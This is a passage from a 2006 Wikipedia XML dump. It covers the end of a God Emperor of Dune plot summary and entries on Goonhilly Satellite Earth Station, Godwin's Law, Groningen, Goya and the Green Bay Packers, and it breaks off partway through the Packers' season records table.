Siona is tested in the deep desert by Leto. She is forced to drink Spice Essence from Leto's body which sends her into a spice trance and into [[prescience|prophetic dreaming]]. In her dreams she sees [[Arafel]], she sees the various possibilities in the human future, and more importantly how in all futures visible to prescient vision, humans are hunted and killed to the last person by deadly, evolving [[machine]]s; it is implied later that these machines were built by the [[Ixians]]. The solution, Leto shows her, is that humans need to escape the prescient trap; which is where Siona's own genes (which render her invisible and unpredictable by prescience) come in, and also the no-ships and the repression of peoples in the Old Empire. All these things make up Leto's Golden Path, which she realizes is the only way out.

Duncan and Moneo meet. Duncan wants to know where Leto is, Moneo explains he is in the desert with his daughter. Duncan is also upset when he discovered that the some of the Fish Speakers are [[lesbians]].  Moneo's grows impatient at Duncan's 'puerile' questions and treats him in an offhand way. The conversation goes from bad to worse and he accuses Duncan of not having the courage to fulfill Leto's expectations, Duncan is enraged by Moneo's comments and attempts to strike him a blow; but, to his utter surprise, Moneo not only avoids the blow, but with amazing quickness hurls Idaho to the floor. Idaho looks up in shock, 'How?' is all he can say; and the [[angry]] Moneo utters words he later regrets 'Leto has been breeding us for generations. You're just an older model.' Duncan upset beyond words, retires to his rooms in shock. 

After a day of contemplation, Duncan's soul searching is interrupted by a Fish Speaker relaying Moneo's requests for Duncan's presence, Duncan is uninterested until he is told Hwi is there. On his arrival it is clear that they have been discussing him before he arrives. They are both worried by the fact that the warrior Duncan arrives without his knife. Moneo apologises for his actions and words in front of Hwi Noree, Duncan takes this well and apologises himself; Duncan experiences a weird feeling that only Moneo, Hwi, and himself are the only real humans in existence. Duncan asks about Siona's experience in the desert, Moneo explains his experience and explains that the reason he serves Leto so faithfully is that after seeing the prophetic visions he is relieved that he never had to make the decision Leto made to become a worm and is free just to serve. Duncan seems unconvinced by this argument and indeed flies into a rage at the fact that he and Hwi cannot see each other, this exasperates Hwi and Moneo; but as Duncan leaves we realize that for once his actions do not reflect his true feelings, and that he had deliberately made himself pathetic for Hwi's sake, so that she can be happier in her choice to put Leto first. 

Duncan and Moneo meet later; and we discover Moneo's relief at his daughter's survival. To Moneo's surprise, Duncan asks a very un-Duncan question: 'What was it the other Duncan Idaho's didn't learn?', Moneo answers him that they did not learn how to trust. Duncan is shocked by this comment in turn, since he has always considers himself to be a man who trusts others; Moneo responds that the circle of his fellowship is too limited &amp;mdash; it includes only fellow warriors and women who complement his sense of himself. After this conversation Moneo decides to try and save Duncan by sending him and Siona away to Tuono Village, for the duration of the wedding. 

When Leto learns of this, he is amused that Moneo is attempting to save Idaho and changes the location of his wedding to Tuono. Malky has been captured by the Fish Speakers, though Anteac died capturing him. When Leto moved against Ixians, Bene Gesserit and Bene Tleilaxu struck just before in order to steal the secret of the device, the secret of the Ixian device has been scattered far and wide. Malky is escorted into Leto's presence, Malky and Leto talk about old and new times. At the end of this conversation, Moneo does what Leto cannot and kills Leto's friend at Leto's behest. Leto and his convoy set off to Tuono village. 

Duncan and Siona talk at Tuono village after a difficult start; and realize that they both still believe that the God Emperor needs to be killed, and overthrown. They both realize that he can be killed by water and hatch a desperate plan to kill the God Emperor. Idaho climbs a high cliff by himself without ropes, using the experience he learned in his youth. From there he lowers a rope down for Siona and Nayla. From the cliff they await the arrival of Leto's convoy.  When the convoy does arrive, Siona orders Nayla to fire her lasgun at the bridge and Nayla, having been directly ordered by Leto to obey Siona's every order, obeys, fully expecting it to be a religious test of Leto's and expecting him to perform a miracle. The shot shatters the bridge and Moneo, Hwi Noree, Leto and the rest of the convoy is hurled into the water. Leto escapes to the shore, but, as his death is nigh, the sandtrout desert his dying body into the sands, leading to the fulfillment of his prophecy about the resurgence of sandworms on Arrakis. Duncan is distraught that Nayla has killed Hwi, and kills the utterly shocked Nayla. Leto leaves Duncan and Siona [[stewardship]] of his Empire by telling them where he has hidden his spice reserves before he breathes his last.

==Notable Parody==
In an episode of the cartoon [[The Grim Adventures of Billy and Mandy]], the characters look into the future on a boring day, a future which is an obvious spoof of ''God Emperor of Dune.'' Mandy, like Leto, has taken on a large worm form that has granted her an extremely long life. She controls the world with her &quot;cinnamon mines,&quot; which plays much the same role as Spice. Through the ages, Mandy has been kept company by clones of her friend Billy, much like Leto was by Duncan Idaho. The Grim Reaper plays a role of both Mandy's attendant (like Moneo) and a rebel (like Siona). Billy, like Duncan, joins the plot to destroy Mandy. However, Mandy crushes this rebellion. When asked how she uncovered the rebellion's secret, we find that she learned it millennia ago, on the boring day when she looked into the future and saw what would happen, an obvious reference to prescience.

==External links==
*{{isfdb title|id=1863|title=God Emperor of Dune}}

[[Category:1981 books]]
[[Category:Frank Herbert novels]]
[[Category:Science fiction novels]]
[[Category:Dune universe media]]

[[fr:L'Empereur-Dieu de Dune]]</text>
    </revision>
  </page>
  <page>
    <title>Goonhilly Satellite Earth Station</title>
    <id>12654</id>
    <revision>
      <id>35524568</id>
      <timestamp>2006-01-17T10:23:26Z</timestamp>
      <contributor>
        <username>Bluewave</username>
        <id>427487</id>
      </contributor>
      <comment>BT   Group name</comment>
      <text xml:space="preserve">[[Image:Goonhilly Arthur.jpg|thumb|right|&quot;Arthur&quot;, Goonhilly's first dish]]'''Goonhilly Satellite Earth Station''' is a large telecommunications site located on [[Goonhilly Downs]] near [[Helston]] on the [[The Lizard|Lizard peninsula]] of the [[England|English]] county of [[Cornwall]].

Currently owned by [[BT Group plc]], it is the largest [[satellite]] earth receiving station in the world with over 25 communications dishes in use (and over 60 dishes in total) &amp;ndash; they provide a significant proportion of [[United Kingdom|Great Britain]]'s satellite connectivity and the site also links into [[transatlantic telephone cable|undersea cable lines]]. The first dish, Antenna One (dubbed &quot;Arthur&quot;), was built on the site in [[1962]] to link with [[Telstar]], it was the first open parabolic design and is 29.5 [[metre]]s in diameter and weighs 1,100 [[tonne]]s. The largest dish is the 32 metre diameter &quot;Merlin&quot; (other dishes are named [[Guinevere]], [[Tristan]] and [[Isolde]] after characters in [[King Arthur|Arthurian]] legend).

Close to the [[earth station]] is a [[wind generator]] farm which provides some of the power needs of the station.

A good visitor centre at the site attracts technically-minded tourists.

== External links ==
* http://www.goonhilly.bt.com

[[Category:Buildings and structures in Cornwall]]

[[de:Goonhilly Satellite Earth Station]]</text>
    </revision>
  </page>
  <page>
    <title>Global Warming</title>
    <id>12655</id>
    <revision>
      <id>28351348</id>
      <timestamp>2005-11-15T01:35:41Z</timestamp>
      <contributor>
        <ip>210.3.39.32</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Global warming]]</text>
    </revision>
  </page>
  <page>
    <title>Godwin's Law</title>
    <id>12656</id>
    <revision>
      <id>42141189</id>
      <timestamp>2006-03-04T02:20:14Z</timestamp>
      <contributor>
        <ip>58.169.244.162</ip>
      </contributor>
      <text xml:space="preserve">'''Godwin's Law''' (also '''Godwin's Rule of Nazi Analogies''') is an [[adage]] in [[Internet culture]] originated by [[Mike Godwin]] on [[Usenet]] in [[1990]] that states:

::''As an online discussion grows longer, the [[probability]] of a comparison involving [[Nazism|Nazis]] or [[Adolf Hitler|Hitler]] approaches 1.''

There is a tradition in many Usenet [[newsgroup]]s that once such a comparison is made, the [[Topic thread|thread]] in which the comment was posted is over and whoever mentioned the Nazis has automatically lost whatever [[debate]] was in progress.

It is considered poor form to raise arbitrarily such a comparison with the motive of ending the thread. There is a widely recognized [[Wiktionary:codicil|codicil]] that any such deliberate invocation of Godwin's Law will be unsuccessful.

Based upon [[probability theory]] alone the chance of a comparison involving any subject matter whatsoever approaches 1 as a discussion grows. While extraneous references often serve to derail discussions, legitimate comparisons often find Godwin's Law cited as a counter-argument when in fact it presents no argument at all.


==Debate and controversy==
One common objection to the invocation of Godwin's Law is that sometimes using Hitler or the Nazis is an apt way of making a point. For instance, if one is debating the relative merits of a particular leader, and someone says something like, &quot;He's a good leader, look at the way he's improved the economy,&quot; one could reply, &quot;Just because he improved the economy doesn't make him a good leader. Even Hitler improved the economy.&quot; Some would view this as a perfectly acceptable comparison. One uses Hitler as a well-known example of an extreme case that requires no explanation to prove that a generalization is not universally true.

Some would argue, however, that Godwin's Law applies especially to the situation mentioned above, as it portrays an inevitable [[appeal to emotion]] as well as holding an implied [[ad hominem]] attack on the subject being compared, both of which are [[logical fallacies|fallacious]] in irrelevant contexts. Hitler, on a [[semiotics|semiotic]] level, has far too many negative connotations associated with him to be used as a valid comparison to anything but other [[despot]]ic dictators. Thus, Godwin's Law holds even when making comparisons to normal leaders that, on the surface, would seem to be reasonable comparisons.

Godwin's standard answer to this objection is to note that Godwin's Law does not dispute whether, in a particular instance, a reference or comparison to Hitler or the Nazis might be apt. It is precisely because such a reference or comparison may sometimes be appropriate, Godwin has argued, that [[hyperbole|hyperbolic]] overuse of the Hitler/Nazi comparison should be avoided. Avoiding such hyperbole, he argues, is a way of ensuring that when valid comparisons to Hitler or Nazis are made, such comparisons have the appropriate impact.

==Notes==
From a [[philosophy|philosophical]] standpoint, Godwin's Law could be said to exclude [[normative]] (emotional) considerations from a [[positivism (philosophy)|positivist]] (rational) discussion. Frequently, a reference to Hitler is used as an evocation of evil. Thus a discussion proceeding on a positivist examination of facts is considered terminated when this objective consideration is transformed into a normative discussion of subjective right and wrong. It is exacerbated by the frequent fallacy &quot;Hitler did A, therefore A is evil&quot; (''[[Reductio ad Hitlerum]]''). However, as noted, the exceptions to Godwin's Law include the invocation of the Hitler comparison in a positivist manner that does not have a normative dimension.

In general, Godwin's Law does not apply in situations wherein one could reasonably expect Hitler or Nazis to be mentioned, such as a discussion of Germany in [[World War II]]. Exceptions, of course, may exist and should be obvious given the preceding discussion.

On [[December 12]], [[2005]], Godwin's Law was the subject of a question in the [[United Kingdom|UK]] television quiz show ''[[University Challenge]]''.

==See also==
*[[Benford's law of controversy]]
*[[Jargon File]]
*[[Reductio ad Hitlerum]]
*[[Wilcox-McCandlish law of online discourse evolution]]
*[[Adages named after people]]

==External links and references==
{{Spoken Wikipedia|Godwin's_law.ogg|2005-07-01}}
*[http://www.killfile.org/~tskirvin/faqs/godwin.html Godwin's Law FAQ]
* Usenet posting: [http://groups.google.com/groups?selm=1991Aug18.215029.19421%40eff.org Mike Godwin restates the Usenet variant of Godwin's Law] (Aug 1991)
*[http://catb.org/esr/jargon/html/G/Godwins-Law.html Godwin's Law entry] in the [[Jargon File]]
*[[Ursine:Godwin's Law|Godwin's Law]] in [[Ursine:Main Page|Ursine]]'s [[Ursine:Jargon|Jargon Wiki]].
*[http://www.wired.com/wired/archive/2.10/godwin.if_pr.html Meme, Counter-meme], Mike Godwin, ''Wired'' 2.10, October 1994—Godwin discusses his Law
*[http://www.eff.org/Net_culture/Folklore/Humor/godwins.law EFF page on Godwin's Law and reformulations]
*[http://www.adl.org/presrele/HolNa_52/2881_52.asp ADL calls added definition of ''nazi'' offensive]
* Mike Godwin runs [http://www.godwinslaw.org a blog called &quot;Godwin's Law.&quot;]
* Usenet posting: [http://groups.google.com/groups?selm=21000%40gryphon.COM Richard Sexton's original post] (Oct 1989)
*[http://www.journalfen.net/community/jurisimprudence Jurisimprudence: a listing of various fandom and Internet debate laws similar to Godwin's Law]
* [[Reason magazine]], [[14 July]] [[2005]]. &quot;[http://www.reason.com/hod/dw071405.shtml Hands Off Hitler!: It's time to repeal Godwin's Law]&quot;.
*[http://www.voicesofunreason.com/fullthread$9042 Breaking Godwin's Law]
*[http://morsehellhole.blogspot.com/2006/01/taqueria-entre-amigos-leaves-bills.html Westgard's Law]: a corollary of Godwin's Law regarding the First Amendment

[[Category:Adages]]
[[Category:Adolf Hitler]]
[[Category:Eponymous laws]]
[[Category:Internet culture]]
[[Category:Nazism]]

[[cs:Godwinův zákon]]
[[de:Godwins Gesetz]]
[[eo:Leĝo de Godwin]]
[[es:Ley de Godwin]]
[[fi:Godwinin laki]]
[[fr:Loi de Godwin]]
[[he:חוק גודווין]]
[[nl:Wet van Godwin]]
[[no:Godwins lov]]
[[pl:Prawo Godwina]]
[[pt:Lei de Godwin]]
[[ru:Закон Годвина]]
[[sv:Godwins lag]]</text>
    </revision>
  </page>
  <page>
    <title>Groningen</title>
    <id>12657</id>
    <revision>
      <id>34629070</id>
      <timestamp>2006-01-10T16:47:58Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ko</comment>
      <text xml:space="preserve">'''Groningen''' is the name of several places:

*[[Groningen (province)]], a province of [[the Netherlands]]
*[[Groningen (city)]], a city in the Netherlands, capital of the above mentioned province
*[[Groningen, Suriname]], a city in [[Suriname]]
*[[Groningen, Minnesota]], a place in the [[United States of America]]

Similar names:
*[[Gröningen]], a town in [[Saxony-Anhalt]], [[Germany]].
*[[Groeningen (North Brabant)]], a city in [[North Brabant]] province in the Netherlands

{{disambig}}

[[de:Groningen (Begriffsklärung)]]
[[fy:Grins]]
[[ko:흐로닝언]]
[[li:Greuninge]]
[[nl:Groningen]]
[[nds:Groningen]]
[[pt:Groningen]]
[[tr:Groningen]]</text>
    </revision>
  </page>
  <page>
    <title>Galego language</title>
    <id>12658</id>
    <revision>
      <id>15910330</id>
      <timestamp>2004-12-09T12:57:35Z</timestamp>
      <contributor>
        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
      <text xml:space="preserve">#redirect [[Galician language]]</text>
    </revision>
  </page>
  <page>
    <title>Goidelic</title>
    <id>12659</id>
    <revision>
      <id>15910331</id>
      <timestamp>2005-05-13T20:54:00Z</timestamp>
      <contributor>
        <username>Gilgamesh</username>
        <id>47947</id>
      </contributor>
      <comment>Goidelic moved to Goidelic languages</comment>
      <text xml:space="preserve">#redirect [[Goidelic languages]]
</text>
    </revision>
  </page>
  <page>
    <title>Gibberish language</title>
    <id>12660</id>
    <revision>
      <id>15910332</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Gibberish]]

</text>
    </revision>
  </page>
  <page>
    <title>Goya (disambiguation)</title>
    <id>12662</id>
    <revision>
      <id>29776048</id>
      <timestamp>2005-12-01T05:41:44Z</timestamp>
      <contributor>
        <username>KaiserbBot</username>
        <id>624606</id>
      </contributor>
      <minor />
      <comment>Robot-assisted disambiguation: WWII</comment>
      <text xml:space="preserve">'''Goya''' may refer to one of the following.

*[[Francisco Goya]], a Spanish [[artist]].
*''[[Goya (opera)|Goya]]'', an opera by [[Gian-Carlo Menotti]] based on the life of Francisco Goya.
*[[Goya, Corrientes|Goya]], an [[Argentina|Argentine]] city in the [[Corrientes Province]].
*[[Goya (ship)|Goya]], a German ship, [[World War II|WWII]], which sunk in April 16, 1945, killing ca. 6,000 people. 
*[[Bitter melon|Goya]], an [[Okinawa]]n vegetable.
*[[Goya Dress]], a British rock trio.
*[[Goya Foods]] (company).
* [[Goya Awards]], or ''The Goyas'', Spain's main national film awards.
&lt;!--
*'''''Goya''''', a biography book by [[Lion Feuchtwanger]]
*'''''Goya''''', a biography book by [[Robert Hughes]]
--&gt;

{{disambig}}

[[de:Goya]]
[[es:Goya]]
[[eo:Goya]]
[[fr:Goya]]
[[pl:Goya]]</text>
    </revision>
  </page>
  <page>
    <title>Green Bay Packers</title>
    <id>12663</id>
    <revision>
      <id>41861877</id>
      <timestamp>2006-03-02T05:18:33Z</timestamp>
      <contributor>
        <username>Iyobi</username>
        <id>929781</id>
      </contributor>
      <comment>/* Nickname and uniforms */</comment>
      <text xml:space="preserve">''Note: Basketball teams from [[Chicago Packers|Chicago]] and [[Anderson Packers|Anderson]] once used the name Packers as well.''
{{NFL team | name = Green Bay Packers
| logo = GreenBayPackers_100.png
| founded = 1919
| city = Green Bay, Wisconsin
| colors = Dark Green, Gold, and White
| coach = [[Mike McCarthy]] 
| owner = A [[public company]]
| general manager = Ted Thompson
| song = [[Go! You Packers! Go!]]
| stations = WTMJ (620 AM) ([[Milwaukee, Wisconsin|Milwaukee]]); WNFL (1440 AM) and WIXX (101.1 FM) ([[Green Bay, Wisconsin|Green Bay]])
| announcers = Wayne Larrivee and Larry McCarren
| hist_yr = 1919
| hist_misc2 =
:* Unofficial names: [http://www.packers.com/history/fast_facts/nickname_origin/]
:** Indian Packers (1919)
:** Acme Packers (1921)
| nicknames = The Pack
| affiliate_old =
Independent (1919-1920)&lt;br&gt;
| NFL_start_yr = 1921
| division_hist =
*Western Division (1933-1949)
*National Conference (1950-1952)
*Western Conference (1953-1969)
**Central Division (1967-1969)
*'''[[National Football Conference]] (1970-present)'''
**[[NFC Central]] (1970-2001)
**'''[[NFC North]] (2002-present)'''
| no_league_champs = 14
| no_sb_champs = 1
| no_conf_champs = 8
| no_div_champs = 12
| league_champs =
*'''[[List of NFL champions|NFL Championships]] (11)'''&lt;br&gt;1929, 1930, 1931, 1936, 1939, 1944, 1961, 1962, 1965, 1966, 1967
*'''[[List of Super Bowl champions|AFL-NFL Super Bowl Championships]] (2)'''&lt;br&gt;1966&amp;nbsp;([[Super Bowl I|I]]), 1967&amp;nbsp;([[Super Bowl II|II]])
| sb_champs = 1996&amp;nbsp;([[Super Bowl XXXI|XXXI]])
| conf_champs =
*'''NFL Western:''' 1960, 1961, 1962, 1965, 1966, 1967
*'''NFC:''' 1996, 1997
| div_champs =
*'''NFL West:''' 1936, 1938, 1939, 1944
*'''NFL Central:''' 1967
*'''NFC Central:''' 1972, 1995, 1996, 1997
*'''NFC North:''' 2002, 2003, 2004
| stadium_years =
*[[Hagemeister Park]] (1919-1922)
*[[Bellevue Park]] (1923-1924)
*[[City Stadium (Green Bay)]] (1925-1956)
*'''[[Lambeau Field]] (1957-present)'''
Split games between [[Milwaukee, Wisconsin|Milwaukee]] and Green Bay (1933-1994)
*[[Borchert Field]] (1933-1935)
*[[Wisconsin State Fair Park]] (1934-1951)
*[[Marquette Stadium]] (1952)
*[[Milwaukee County Stadium]] (1953-1994)
}}

The '''Green Bay Packers''' are a professional [[American football]] team based in [[Green Bay, Wisconsin]]. They currently belong to the [[NFC North|Northern Division]] of the [[National Football Conference]] (NFC) in the [[National Football League]] (NFL).  The team is sometimes affectionately referred to as simply 'The Pack'.

The Packers are the last remaining example of the &quot;small town teams&quot; that comprised a majority of the NFL during the 1920s. Green Bay is by far the smallest [[media market]] to be the home of a [[North America]]n [[major professional sports league]] (though their fanbase includes [[Milwaukee]], the rest of [[Wisconsin]], and beyond).

Founded in 1919, the Packers joined the NFL in 1921 during the league's second season. The team currently holds the record for the most NFL league championships with 12: nine [[List of Super Bowl champions|NFL Championships]] prior to the [[Super Bowl]] era, [[Super Bowl I]], [[Super Bowl II]], and [[Super Bowl XXXI]]. The team also holds the distinction of winning the first two [[Super Bowl|AFL-NFL Championship Games]] that were held before the [[AFL-NFL Merger]], later referred to as [[Super Bowl I]] and [[Super Bowl II|II]].  

The Packers are currently the only [[Public company|publicly owned]] major league level professional sports team in the [[United States]] (although other teams, such as the [[Atlanta Braves]], the [[Chicago Cubs]], and the [[New York Rangers]] are directly owned by publicly traded companies). Currently, a total of 4,749,925 [[Stock|shares]] are owned by 111,921 [[stockholder]]s - none of whom receives any [[dividend]]. [http://www.packers.com/stockholders/]

:'''Helmet design:'''  Yellow background with green/white/green striping, green facemask, white &quot;G&quot; in a green oval logo on both sides

==Franchise history==
The Green Bay Packers were founded on [[August 11]], [[1919]] by [[Curly Lambeau]] and [[George Whitney Calhoun]].  Lambeau solicited funds for uniforms from his employer, the [[Indian Packing Company]].  He was given $500 for uniforms and equipment, on the condition that the team be named for its sponsor.

The Packers became a professional franchise in 1921. Financial troubles plagued the team and the franchise was lost the same year. The Packers found new backers the next year and regained the franchise. The financial backers, known as the &quot;Hungry Five,&quot; formed the [[Green Bay Football Corporation]].

The Packers are now the only publicly owned company with a board of directors in [[United States|American]] professional sports. Typically, a team is owned by one person, partnership, or corporate entity; thus, a &quot;team owner.&quot; It has been speculated that this is one of the reasons the Green Bay Packers have never been moved from the city of Green Bay, a city of just over 100,000 people. By comparison, the typical NFL football city usually is populated in the millions. However, the Packers have long had a large following throughout [[Wisconsin]] and the [[Midwestern United States|Midwest]]; in fact, for decades, the Packers played four (one pre-season, three regular-season) home games each year in [[Milwaukee]]. The Packers did not move their entire home schedule to Green Bay until 1995.

Based on the original &quot;Articles of Incorporation for the (then) Green Bay Football Corporation&quot; put into place in 1923, if the Packers franchise was sold, after the payment of all expenses, any remaining monies would go to the Sullivan-Wallen Post of the [[American Legion]] in order to build &quot;a proper soldier's memorial.&quot; This stipulation was enacted to ensure the club remained in Green Bay and that there could never be any financial enhancement for the shareholders. At the November 1997 annual meeting, shareholders voted to change the beneficiary from the Sullivan-Wallen Post to the [[Green Bay Packers Foundation]].

In 1950, the Packers held a stock sale to again raise money to support the team. In 1956, area voters approved the construction of a new stadium, which on September 11, 1965 became [[Lambeau Field]]. 

Another stock sale occurred late in 1997 and early in 1998. It added 105,989 new shareholders and raised more than $24 million, money utilized for the Lambeau Field redevelopment project. Priced at $200 per share, fans bought 120,010 shares during the 17-week sale, which ended [[March 16]], [[1998]]. As of [[June 8]], [[2005]], 111,921 people (representing 4,749,925 shares) can lay claim to a franchise ownership interest. Shares of stock include voting rights, but the redemption price is minimal, no dividends are ever paid, the stock cannot appreciate in value, and there are no season ticket privileges associated with stock ownership. No shareholder is allowed to own more than 200,000 shares, a safeguard to ensure that no one individual is able to assume control of the club. As a means of running the corporation, a board of directors is elected by the stockholders. The board of directors in turn elect a seven-member Executive Committee (officers) of the corporation, consisting of a president, vice president, treasurer, secretary and three members-at-large. The president is the only officer who receives compensation. The balance of the committee is sitting &quot;gratis.&quot;

The Packers have won more league championships (12, including three Super Bowls) than any other American professional football team. They are also the only American professional football team to win three straight titles, which they did twice (1929-1931 and 1965-67).

The Packers of the 1960s were one of the most dominant NFL teams of all time. Coach [[Vince Lombardi]] took over a last-place team and built it into a juggernaut, winning five league championships over a seven-year span. Green Bay won the first two [[Super Bowl]]s. The Super Bowl trophy was ultimately named the [[Vince Lombardi Trophy]] in recognition of his and his team's accomplishment.

The Packers' fan base is famously dedicated: no matter how the team performs, every Packer game at Lambeau Field has been sold out since 1960. The Packers have one of the longest waiting lists for season tickets in [[professional sports]]. The current wait time for season tickets is approximately 35 years. For this reason, it is not unusual for fans to designate a recipient of their season tickets in their wills.

The Packers also draw the largest national TV audiences for the NFL's [[Monday Night Football]] telecasts.

An informal name for Packer fans is &quot;[[cheesehead]]s&quot;. The term is often used to refer to people from the state of Wisconsin in general (because of its cheese production), but is also used to refer to Green Bay Packer fans in particular. Many Packer fans, embracing this nickname, wear foam triangle hats made to look like [[cheese]].

===Nickname and uniforms===
[[Curly Lambeau]], the team's founder, solicited funds for uniforms from his employer, the Indian Packing Company. He was given $500 for uniforms and equipment, on the condition that the team be named for its sponsor (this is similar to what would happen the following year with the [[Decatur Staleys]], who would become the [[Chicago Bears]]). The new Green Bay team was referred to as &quot;the Indians&quot; in one of the earliest newspaper articles about the new squad, but by the time they played their first game they had adopted the name &quot;Packers.&quot;  

In the early days, the Packers also were referred to as the &quot;Bays&quot; and the &quot;Blues&quot; (and even occasionally as &quot;the Big Bay Blues&quot;). These never were official nicknames, although Lambeau did consider replacing &quot;Packers&quot; with &quot;Blues&quot; in the 1920s.

In 1920, the Indian Packing Company was purchased by the [[Acme Packing Company]]. Acme continued its support of Lambeau's team, and in its first season in the NFL the team wore jerseys with the words &quot;ACME PACKERS&quot; emblazoned on the chest.

Lambeau, who attended the University of Notre Dame, chose the team's colors of blue and gold/yellow from the college. In the 1930s, the Packers briefly experimented with green and gold, although they always returned to the traditional navy.

In 1959, new head coach [[Vince Lombardi]] changed the colors to the current hunter green and athletic gold/yellow (navy blue was kept as a secondary color, but it was not actually used and quietly was dropped from the team colors list on all official materials shortly thereafter).  This color scheme yields the common Packers nickname, &quot;The Green and Gold&quot;.

The oval 'G' logo was created in 1961 by Packers equipment manager Dad Braisher. The team actually used a number of different logos prior to 1961, but the 'G' is the only logo that has ever appeared on the helmet.[http://www.packers.com/fans/faq/]  Although other organizations, notably the [[University of Georgia]] and [[Grambling State University]], utilize a similar logo, the Packers were the first to employ it and hold the trademark for it.[http://sports.espn.go.com/ncaa/news/story?id=2071363&amp;num=0]

Due to the fact that &quot;Packer&quot; refers to &quot;meat-packing,&quot; the [[animal rights]] organization [[People for the Ethical Treatment of Animals|PETA]] asked the team in in 2000 to change its name to a more &quot;peaceful&quot; name.  Among the suggestions were &quot;Pickers&quot; refering to vegetable farmers, and &quot;Six-Packers&quot; in reference to the famous Wisconsin brewing industry. [http://www.animalrights.net/archives/year/2000/000034.html]

===2005 season===
The Packers finished their season at 4-12, in last place in the NFC North division (one game behind the third-place [[Detroit Lions]]).  The Packers' [[November 27]] loss to the [[Philadelphia Eagles|Eagles]] assured the Packers their first losing season since 1991 and [[Brett Favre]]'s first losing season in his career. The team's offensive roster was devastated by injuries, including many of the team's standout players. For example, wide receivers [[Javon Walker]] and [[Robert Ferguson]] and running backs [[Ahman Green]], [[Najeh Davenport]], [[Tony Fisher]], and [[Samkon Gado]] all suffered major injuries. Also hampered by injuries yet remaining in the line-up were linebacker [[Na'il Diggs]] and Favre, who suffered repeated injuries to his throwing hand. One day after the conclusion of the regular season, Packers General Manager Ted Thompson announced the firing of head coach Mike Sherman, who had been at the helm for six years. Sherman compiled records of 9-7, 12-4, 12-4, 10-6, 10-6 and 4-12. This included four straight playoff appearances and three straight NFC North division titles, both of which streaks came to an end in 2005. As a result of their dismal season, the Packers ended up with the fifth overall pick in the [[2006 NFL Draft]], which is to be held April 29-30 in New York City.

===2005 Team Leaders===
Passing Yards [[Brett Favre]] 3881 Yards

Passing Touchdowns Brett Favre 20 TD

QB Rating: Brett Favre, 70.9

Rushing Yards: [[Samkon Gado]], 582 Yards

Rushing Touchdowns: Samkon Gado, 6 TD

Receiving Yards: [[Donald Driver]], 1221 Yards

Receiving Touchdowns: Donald Driver, 5 TD

Points: [[Ryan Longwell]], 90 points

Kickoff Return Yards: [[Ahmad Carroll]], 390 Yards

Punt Return Yards: [[Antonio Chatman]], 381 Yards

Tackles: [[Nick Barnett]], 91 Tackles

Sacks: [[Kabeer Gbaja-Biamila]], 8.0 Sacks

Interceptions: [[Al Harris]], 3 Interceptions

===Season-by-season records===
:''Since 1921''
{{Start NFL SBS}}
|-
|1921 || 3 || 2 || 1 || 6th APFA&lt;sup&gt;1&lt;/sup&gt; || valign=&quot;middle&quot; rowspan=&quot;8&quot; | ''The NFL did not hold playoff games until 1932''
|-
|1922 || 4 || 3 ||3 || 8th NFL
|-
|1923 || 7 || 2 || 1 || 3rd NFL
|-
|1924 || 7 || 4 || 0 || 6th NFL
|-
|1925 || 8 || 5 || 0 || 9th NFL
|-
|1926 || 7 || 3 || 3 || 5th NFL
|-
|1927 || 7 || 2 || 1 || 2nd NFL
|-
|1928 || 6 || 4 || 3 || 4th NFL
|-
|1929 || 12 || 0 || 1 || 1st NFL || '''Named NFL Champions'''&lt;sup&gt;2&lt;/sup&gt;
|-
|1930 || 10 || 3 || 1 || 1st NFL || '''Named NFL Champions'''&lt;sup&gt;2&lt;/sup&gt;
|-
|1931 || 12 || 2 || 0 || 1st NFL || '''Named NFL Champions'''&lt;sup&gt;2&lt;/sup&gt;
|-
|1932 || 10 || 3 || 1 || 2nd NFL || --
|-
|1933 || 5 || 7 || 1 || 3rd NFL West || --
|-
|1934 || 7 || 6 || 0 || 3rd NFL West || --
|-
|1935 || 8 || 4 || 0 || 2nd NFL West || --
|-
|1936 || 10 || 1 || 1 || 1st NFL West || '''Won NFL Championship''' ([[Washington Redskins|Redskins]])
|-
|1937 || 7 || 4 || 0 || T-2nd NFL West || --
|-
|1938 || 8 || 3 || 0 || 1st NFL West || Lost NFL Championship ([[New York Giants|Giants]])
|-
|1939 || 9 || 2 || 0 || 1st NFL West || '''Won NFL Championship''' ([[New York Giants|Giants]])
|-
|1940 || 6 || 4 || 1 || 2nd NFL West || --
|-
|1941 || 10 || 1 || 0 || 2nd NFL West || Lost Western Divisional Playoff ([[Chicago Bears|Bears]])
|-
|1942 || 8 || 2 || 1 || 2nd NFL West || --
|-
|1943 || 7 || 2 || 1 || 2nd NFL West || --
|-
|1944 || 8 || 2 || 0 || 1st NFL West || '''Won NFL Championship''' ([[New York Giants|Giants]])
|-
|1945 || 6 || 4 || 0 || 3rd NFL West || --
|-
|1946 || 6 || 5 || 0 || T-3rd NFL West || --
|-
|1947 || 6 || 5 || 1 || 3rd NFL West || --
|-
|1948 || 3 || 9 || 0 || 4th NFL West || --
|-
|1949 || 2 || 10 || 0 || 5th NFL West || --
|-
|1950 || 3 || 9 || 0 || T-5th NFL NFC || --
|-
|1951 || 3 || 9 || 0 || 5th NFL NFC || --
|-
|1952 || 6 || 6 || 0 || 4th NFL NFC || --
|-
|1953 || 2 || 9 || 1 || 6th NFL West || --
|-
|1954 || 4 || 8 || 0 || 5th NFL West || --
|-
|1955 || 6 || 6 || 0 || 3rd NFL West || --
|-
|1956 || 4 || 8 || 0 || T-5th NFL West || --
|-
|1957 || 3 || 9 || 0 || 6th NFL West || --
|-
|1958 || 1 || 10 || 1 || 6th NFL West || --
|-
|1959 || 7 || 5 || 0 || T-3rd NFL West || --
|-
|1960 || 8 || 4 || 0 || 1st NFL West || Lost NFL Championship ([[Philadelphia Eagles|Eagles]])
|-
|1961 || 11 || 3 || 0 || 1st NFL West || '''Won NFL Championship''' ([[New York Giants|Giants]])
|-
|1962 || 13 || 1 || 0 || 1st NFL West || '''Won NFL Championship''' ([[New York Giants|Giants]])
|-
|1963 || 11 || 2 || 1 || 2nd NFL West || --
|-
|1964 || 8 || 5 || 1 || T-2nd NFL West || --
|-
|1965 || 10 || 3 || 1 || 1st NFL West || '''Won NFL Championship''' ([[Cleveland Browns|Browns]])
|-
